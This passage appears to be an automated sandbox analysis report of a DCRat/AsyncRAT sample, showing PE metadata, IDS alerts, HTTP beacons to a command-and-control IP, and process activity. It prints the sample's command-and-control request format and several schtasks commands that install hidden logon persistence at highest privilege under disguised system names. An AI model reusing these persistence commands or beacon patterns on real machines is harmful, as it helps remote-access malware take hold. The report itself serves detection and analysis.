            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al
            add byte ptr [eax], al

            Data Directories

            NameVirtual AddressVirtual Size Is in Section
            IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
            IMAGE_DIRECTORY_ENTRY_IMPORT0xe00700x4b.text
            IMAGE_DIRECTORY_ENTRY_RESOURCE0xe80000x2f4.rsrc
            IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
            IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
            IMAGE_DIRECTORY_ENTRY_BASERELOC0xea0000xc.reloc
            IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
            IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
            IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
            IMAGE_DIRECTORY_ENTRY_TLS0x00x0
            IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
            IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
            IMAGE_DIRECTORY_ENTRY_IAT0x20000x8.text
            IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
            IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x20080x48.text
            IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

            Sections

            NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
            .text0x20000xde0c40xde20098808c583b9602b8fedc3e45603582fdFalse0.49510344857906585data6.075928095386258IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
            .sdata0xe20000x520f0x5400bb903c5a9711a4f46b52b8cab35f68efFalse0.5118582589285714Targa image data - RGBA (1027-2054) 772 x 1282 x 1 +258 - 2-bit alpha5.6675507168445005IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
            .rsrc0xe80000x2f40x4008fc3d4df332db0bd6e1d579366921cdcFalse0.359375data2.4781663002027545IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
            .reloc0xea0000xc0x200ba39ff079b4f60915727f6ee5349e29eFalse0.044921875data0.08153941234324169IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

            Resources

            NameRVASizeTypeLanguageCountryZLIB Complexity
            RT_VERSION0xe80580x29cdataEnglishUnited States0.49550898203592814

            Imports

            DLLImport
            mscoree.dll_CorExeMain

            Possible Origin

            Language of compilation systemCountry where language is spokenMap
            EnglishUnited States

            Network Behavior

            Suricata IDS Alerts

            TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
            2024-12-25T05:32:03.378205+01002034194ET MALWARE DCRAT Activity (GET)1192.168.2.44973062.109.25.16580TCP
            2024-12-25T05:32:03.532975+01002034194ET MALWARE DCRAT Activity (GET)1192.168.2.44973162.109.25.16580TCP
            2024-12-25T05:32:14.049978+01002034194ET MALWARE DCRAT Activity (GET)1192.168.2.44973262.109.25.16580TCP
            2024-12-25T05:32:38.219255+01002034194ET MALWARE DCRAT Activity (GET)1192.168.2.44973962.109.25.16580TCP

            Network Port Distribution

            TCP Packets

            TimestampSource PortDest PortSource IPDest IP
            Dec 25, 2024 05:32:01.920077085 CET4973080192.168.2.462.109.25.165
            Dec 25, 2024 05:32:02.039853096 CET804973062.109.25.165192.168.2.4
            Dec 25, 2024 05:32:02.039942980 CET4973080192.168.2.462.109.25.165
            Dec 25, 2024 05:32:02.040226936 CET4973080192.168.2.462.109.25.165
            Dec 25, 2024 05:32:02.048599958 CET4973180192.168.2.462.109.25.165
            Dec 25, 2024 05:32:02.159730911 CET804973062.109.25.165192.168.2.4
            Dec 25, 2024 05:32:02.168160915 CET804973162.109.25.165192.168.2.4
            Dec 25, 2024 05:32:02.168251991 CET4973180192.168.2.462.109.25.165
            Dec 25, 2024 05:32:02.168504953 CET4973180192.168.2.462.109.25.165
            Dec 25, 2024 05:32:02.288024902 CET804973162.109.25.165192.168.2.4
            Dec 25, 2024 05:32:03.358144045 CET804973062.109.25.165192.168.2.4
            Dec 25, 2024 05:32:03.378205061 CET4973080192.168.2.462.109.25.165
            Dec 25, 2024 05:32:03.491584063 CET804973162.109.25.165192.168.2.4
            Dec 25, 2024 05:32:03.497800112 CET804973062.109.25.165192.168.2.4
            Dec 25, 2024 05:32:03.532974958 CET4973180192.168.2.462.109.25.165
            Dec 25, 2024 05:32:03.539666891 CET4973180192.168.2.462.109.25.165
            Dec 25, 2024 05:32:03.659132004 CET804973162.109.25.165192.168.2.4
            Dec 25, 2024 05:32:03.810376883 CET804973062.109.25.165192.168.2.4
            Dec 25, 2024 05:32:03.822690964 CET4973080192.168.2.462.109.25.165
            Dec 25, 2024 05:32:03.972420931 CET804973162.109.25.165192.168.2.4
            Dec 25, 2024 05:32:03.981515884 CET4973180192.168.2.462.109.25.165
            Dec 25, 2024 05:32:12.594257116 CET4973280192.168.2.462.109.25.165
            Dec 25, 2024 05:32:12.714014053 CET804973262.109.25.165192.168.2.4
            Dec 25, 2024 05:32:12.714118958 CET4973280192.168.2.462.109.25.165
            Dec 25, 2024 05:32:12.714431047 CET4973280192.168.2.462.109.25.165
            Dec 25, 2024 05:32:12.834130049 CET804973262.109.25.165192.168.2.4
            Dec 25, 2024 05:32:14.044877052 CET804973262.109.25.165192.168.2.4
            Dec 25, 2024 05:32:14.049978018 CET4973280192.168.2.462.109.25.165
            Dec 25, 2024 05:32:14.169867039 CET804973262.109.25.165192.168.2.4
            Dec 25, 2024 05:32:14.486594915 CET804973262.109.25.165192.168.2.4
            Dec 25, 2024 05:32:14.489388943 CET4973280192.168.2.462.109.25.165
            Dec 25, 2024 05:32:36.772995949 CET4973980192.168.2.462.109.25.165
            Dec 25, 2024 05:32:36.892703056 CET804973962.109.25.165192.168.2.4
            Dec 25, 2024 05:32:36.892808914 CET4973980192.168.2.462.109.25.165
            Dec 25, 2024 05:32:36.919972897 CET4973980192.168.2.462.109.25.165
            Dec 25, 2024 05:32:37.039494038 CET804973962.109.25.165192.168.2.4
            Dec 25, 2024 05:32:38.210688114 CET804973962.109.25.165192.168.2.4
            Dec 25, 2024 05:32:38.219254971 CET4973980192.168.2.462.109.25.165
            Dec 25, 2024 05:32:38.338789940 CET804973962.109.25.165192.168.2.4
            Dec 25, 2024 05:32:38.649333954 CET804973962.109.25.165192.168.2.4
            Dec 25, 2024 05:32:38.651482105 CET4973980192.168.2.462.109.25.165

            HTTP Request Dependency Graph

            • 62.109.25.165

            HTTP Packets

            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
            0192.168.2.44973062.109.25.165807812C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exe
            TimestampBytes transferredDirectionData
            Dec 25, 2024 05:32:02.040226936 CET549OUTGET /logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?FM1JfUY48EJH=Xj7Evt4wwIgYodolPSzaU&25decae1aacbb1a4374d77edba481013=4f98dc59d65ec26cd2bbfb0fc740e685&af5982d2761424b6b4b8e8afc2b7722b=gMjJWOwUmMzETZlFWOxgjNilTN4QDNjVTZhJGMyADNzkDMllzY5gzM&FM1JfUY48EJH=Xj7Evt4wwIgYodolPSzaU HTTP/1.1
            Accept: */*
            Content-Type: text/html
            User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36
            Host: 62.109.25.165
            Connection: Keep-Alive
            Dec 25, 2024 05:32:03.358144045 CET710INHTTP/1.1 404 Not Found
            Server: nginx/1.22.1
            Date: Wed, 25 Dec 2024 04:32:03 GMT
            Content-Type: text/html
            Content-Length: 555
            Connection: keep-alive
            Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 [TRUNCATED]
            Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.22.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
            Dec 25, 2024 05:32:03.378205061 CET525OUTGET /logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?FM1JfUY48EJH=Xj7Evt4wwIgYodolPSzaU&25decae1aacbb1a4374d77edba481013=4f98dc59d65ec26cd2bbfb0fc740e685&af5982d2761424b6b4b8e8afc2b7722b=gMjJWOwUmMzETZlFWOxgjNilTN4QDNjVTZhJGMyADNzkDMllzY5gzM&FM1JfUY48EJH=Xj7Evt4wwIgYodolPSzaU HTTP/1.1
            Accept: */*
            Content-Type: text/html
            User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36
            Host: 62.109.25.165
            Dec 25, 2024 05:32:03.810376883 CET710INHTTP/1.1 404 Not Found
            Server: nginx/1.22.1
            Date: Wed, 25 Dec 2024 04:32:03 GMT
            Content-Type: text/html
            Content-Length: 555
            Connection: keep-alive
            Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 [TRUNCATED]
            Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.22.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
            1192.168.2.44973162.109.25.165807848C:\PerfLogs\RuntimeBroker.exe
            TimestampBytes transferredDirectionData
            Dec 25, 2024 05:32:02.168504953 CET545OUTGET /logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?Ew1JcOnZIpIdmkpBBHgr5pFtzlk1xCn=2ryfxXmZBxF8CaD&tgi=YcDZrIT0nvmFB&25decae1aacbb1a4374d77edba481013=4f98dc59d65ec26cd2bbfb0fc740e685&af5982d2761424b6b4b8e8afc2b7722b=gMjJWOwUmMzETZlFWOxgjNilTN4QDNjVTZhJGMyADNzkDMllzY5gzM&Ew1JcOnZIpIdmkpBBHgr5pFtzlk1xCn=2ryfxXmZBxF8CaD&tgi=YcDZrIT0nvmFB HTTP/1.1
            Accept: */*
            Content-Type: text/css
            User-Agent: Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko)
            Host: 62.109.25.165
            Connection: Keep-Alive
            Dec 25, 2024 05:32:03.491584063 CET308INHTTP/1.1 404 Not Found
            Server: nginx/1.22.1
            Date: Wed, 25 Dec 2024 04:32:03 GMT
            Content-Type: text/html
            Content-Length: 153
            Connection: keep-alive
            Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
            Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.22.1</center></body></html>
            Dec 25, 2024 05:32:03.539666891 CET521OUTGET /logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?Ew1JcOnZIpIdmkpBBHgr5pFtzlk1xCn=2ryfxXmZBxF8CaD&tgi=YcDZrIT0nvmFB&25decae1aacbb1a4374d77edba481013=4f98dc59d65ec26cd2bbfb0fc740e685&af5982d2761424b6b4b8e8afc2b7722b=gMjJWOwUmMzETZlFWOxgjNilTN4QDNjVTZhJGMyADNzkDMllzY5gzM&Ew1JcOnZIpIdmkpBBHgr5pFtzlk1xCn=2ryfxXmZBxF8CaD&tgi=YcDZrIT0nvmFB HTTP/1.1
            Accept: */*
            Content-Type: text/css
            User-Agent: Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko)
            Host: 62.109.25.165
            Dec 25, 2024 05:32:03.972420931 CET308INHTTP/1.1 404 Not Found
            Server: nginx/1.22.1
            Date: Wed, 25 Dec 2024 04:32:03 GMT
            Content-Type: text/html
            Content-Length: 153
            Connection: keep-alive
            Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
            Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.22.1</center></body></html>


            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
            2192.168.2.44973262.109.25.165808144C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exe
            TimestampBytes transferredDirectionData
            Dec 25, 2024 05:32:12.714431047 CET589OUTGET /logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?RLBBKVwcdizJiEfb8gsnzY=nfdgefKZBm8ilTxaczcJwMXdTkAw&25decae1aacbb1a4374d77edba481013=4f98dc59d65ec26cd2bbfb0fc740e685&af5982d2761424b6b4b8e8afc2b7722b=gMjJWOwUmMzETZlFWOxgjNilTN4QDNjVTZhJGMyADNzkDMllzY5gzM&RLBBKVwcdizJiEfb8gsnzY=nfdgefKZBm8ilTxaczcJwMXdTkAw HTTP/1.1
            Accept: */*
            Content-Type: application/json
            User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Mobile/15E148 Safari/604.1
            Host: 62.109.25.165
            Connection: Keep-Alive
            Dec 25, 2024 05:32:14.044877052 CET308INHTTP/1.1 404 Not Found
            Server: nginx/1.22.1
            Date: Wed, 25 Dec 2024 04:32:13 GMT
            Content-Type: text/html
            Content-Length: 153
            Connection: keep-alive
            Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
            Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.22.1</center></body></html>
            Dec 25, 2024 05:32:14.049978018 CET565OUTGET /logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?RLBBKVwcdizJiEfb8gsnzY=nfdgefKZBm8ilTxaczcJwMXdTkAw&25decae1aacbb1a4374d77edba481013=4f98dc59d65ec26cd2bbfb0fc740e685&af5982d2761424b6b4b8e8afc2b7722b=gMjJWOwUmMzETZlFWOxgjNilTN4QDNjVTZhJGMyADNzkDMllzY5gzM&RLBBKVwcdizJiEfb8gsnzY=nfdgefKZBm8ilTxaczcJwMXdTkAw HTTP/1.1
            Accept: */*
            Content-Type: application/json
            User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Mobile/15E148 Safari/604.1
            Host: 62.109.25.165
            Dec 25, 2024 05:32:14.486594915 CET308INHTTP/1.1 404 Not Found
            Server: nginx/1.22.1
            Date: Wed, 25 Dec 2024 04:32:14 GMT
            Content-Type: text/html
            Content-Length: 153
            Connection: keep-alive
            Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
            Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.22.1</center></body></html>


            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
            3192.168.2.44973962.109.25.165805928C:\Windows\System32\nettraceex\dllhost.exe
            TimestampBytes transferredDirectionData
            Dec 25, 2024 05:32:36.919972897 CET518OUTGET /logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?AVMJaed=GdzBF2U&25decae1aacbb1a4374d77edba481013=4f98dc59d65ec26cd2bbfb0fc740e685&af5982d2761424b6b4b8e8afc2b7722b=gMjJWOwUmMzETZlFWOxgjNilTN4QDNjVTZhJGMyADNzkDMllzY5gzM&AVMJaed=GdzBF2U HTTP/1.1
            Accept: */*
            Content-Type: text/javascript
            User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1
            Host: 62.109.25.165
            Connection: Keep-Alive
            Dec 25, 2024 05:32:38.210688114 CET308INHTTP/1.1 404 Not Found
            Server: nginx/1.22.1
            Date: Wed, 25 Dec 2024 04:32:37 GMT
            Content-Type: text/html
            Content-Length: 153
            Connection: keep-alive
            Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
            Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.22.1</center></body></html>
            Dec 25, 2024 05:32:38.219254971 CET494OUTGET /logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?AVMJaed=GdzBF2U&25decae1aacbb1a4374d77edba481013=4f98dc59d65ec26cd2bbfb0fc740e685&af5982d2761424b6b4b8e8afc2b7722b=gMjJWOwUmMzETZlFWOxgjNilTN4QDNjVTZhJGMyADNzkDMllzY5gzM&AVMJaed=GdzBF2U HTTP/1.1
            Accept: */*
            Content-Type: text/javascript
            User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1
            Host: 62.109.25.165
            Dec 25, 2024 05:32:38.649333954 CET308INHTTP/1.1 404 Not Found
            Server: nginx/1.22.1
            Date: Wed, 25 Dec 2024 04:32:38 GMT
            Content-Type: text/html
            Content-Length: 153
            Connection: keep-alive
            Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
            Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.22.1</center></body></html>


            Statistics

            CPU Usage

            Click to jump to process

            Memory Usage

            Click to jump to process

            High Level Behavior Distribution

            Click to dive into process behavior distribution

            Behavior

            Click to jump to process

            System Behavior

            General

            Target ID:0
            Start time:23:31:57
            Start date:24/12/2024
            Path:C:\Users\user\Desktop\TodjHkXUZB.exe
            Wow64 process (32bit):false
            Commandline:"C:\Users\user\Desktop\TodjHkXUZB.exe"
            Imagebase:0xd0000
            File size:933'888 bytes
            MD5 hash:1EC0EF270FF4B08FA5B6436AB0ED39D0
            Has elevated privileges:true
            Has administrator privileges:true
            Programmed in:C, C++ or other language
            Yara matches:
            • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000000.00000002.1689200346.00000000023D5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
            • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000000.00000002.1689200346.0000000002391000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
            • Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000002.1689200346.0000000002391000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
            Reputation:low
            Has exited:true

            General

            Target ID:1
            Start time:23:31:57
            Start date:24/12/2024
            Path:C:\Windows\System32\schtasks.exe
            Wow64 process (32bit):false
            Commandline:schtasks.exe /create /tn "crQsxZqWXkIyquEQmzM" /sc ONLOGON /tr "'C:\ProgramData\Documents\My Pictures\crQsxZqWXkIyquEQmzM.exe'" /rl HIGHEST /f
            Imagebase:0x7ff76f990000
            File size:235'008 bytes
            MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
            Has elevated privileges:true
            Has administrator privileges:true
            Programmed in:C, C++ or other language
            Reputation:high
            Has exited:true

            General

            Target ID:2
            Start time:23:31:58
            Start date:24/12/2024
            Path:C:\Windows\System32\schtasks.exe
            Wow64 process (32bit):false
            Commandline:schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\PerfLogs\RuntimeBroker.exe'" /rl HIGHEST /f
            Imagebase:0x7ff76f990000
            File size:235'008 bytes
            MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
            Has elevated privileges:true
            Has administrator privileges:true
            Programmed in:C, C++ or other language
            Reputation:high
            Has exited:true

            General

            Target ID:3
            Start time:23:31:58
            Start date:24/12/2024
            Path:C:\Windows\System32\schtasks.exe
            Wow64 process (32bit):false
            Commandline:schtasks.exe /create /tn "crQsxZqWXkIyquEQmzM" /sc ONLOGON /tr "'C:\Users\user\Saved Games\crQsxZqWXkIyquEQmzM.exe'" /rl HIGHEST /f
            Imagebase:0x7ff76f990000
            File size:235'008 bytes
            MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
            Has elevated privileges:true
            Has administrator privileges:true
            Programmed in:C, C++ or other language
            Reputation:high
            Has exited:true

            General

            Target ID:4
            Start time:23:31:58
            Start date:24/12/2024
            Path:C:\Windows\System32\schtasks.exe
            Wow64 process (32bit):false
            Commandline:schtasks.exe /create /tn "TextInputHost" /sc ONLOGON /tr "'C:\Users\user\Searches\TextInputHost.exe'" /rl HIGHEST /f
            Imagebase:0x7ff76f990000
            File size:235'008 bytes
            MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
            Has elevated privileges:true
            Has administrator privileges:true
            Programmed in:C, C++ or other language
            Reputation:high
            Has exited:true

            General

            Target ID:5
            Start time:23:31:58
            Start date:24/12/2024
            Path:C:\Windows\System32\schtasks.exe
            Wow64 process (32bit):false
            Commandline:schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Windows\System32\nettraceex\dllhost.exe'" /rl HIGHEST /f
            Imagebase:0x7ff76f990000
            File size:235'008 bytes
            MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
            Has elevated privileges:true
            Has administrator privileges:true
            Programmed in:C, C++ or other language
            Reputation:high
            Has exited:true

            General

            Target ID:6
            Start time:23:31:58
            Start date:24/12/2024
            Path:C:\Windows\System32\schtasks.exe
            Wow64 process (32bit):false
            Commandline:schtasks.exe /create /tn "crQsxZqWXkIyquEQmzM" /sc ONLOGON /tr "'C:\Program Files (x86)\jdownloader\config\crQsxZqWXkIyquEQmzM.exe'" /rl HIGHEST /f
            Imagebase:0x7ff76f990000
            File size:235'008 bytes
            MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
            Has elevated privileges:true
            Has administrator privileges:true
            Programmed in:C, C++ or other language
            Reputation:high
            Has exited:true

            General

            Target ID:7
            Start time:23:31:58
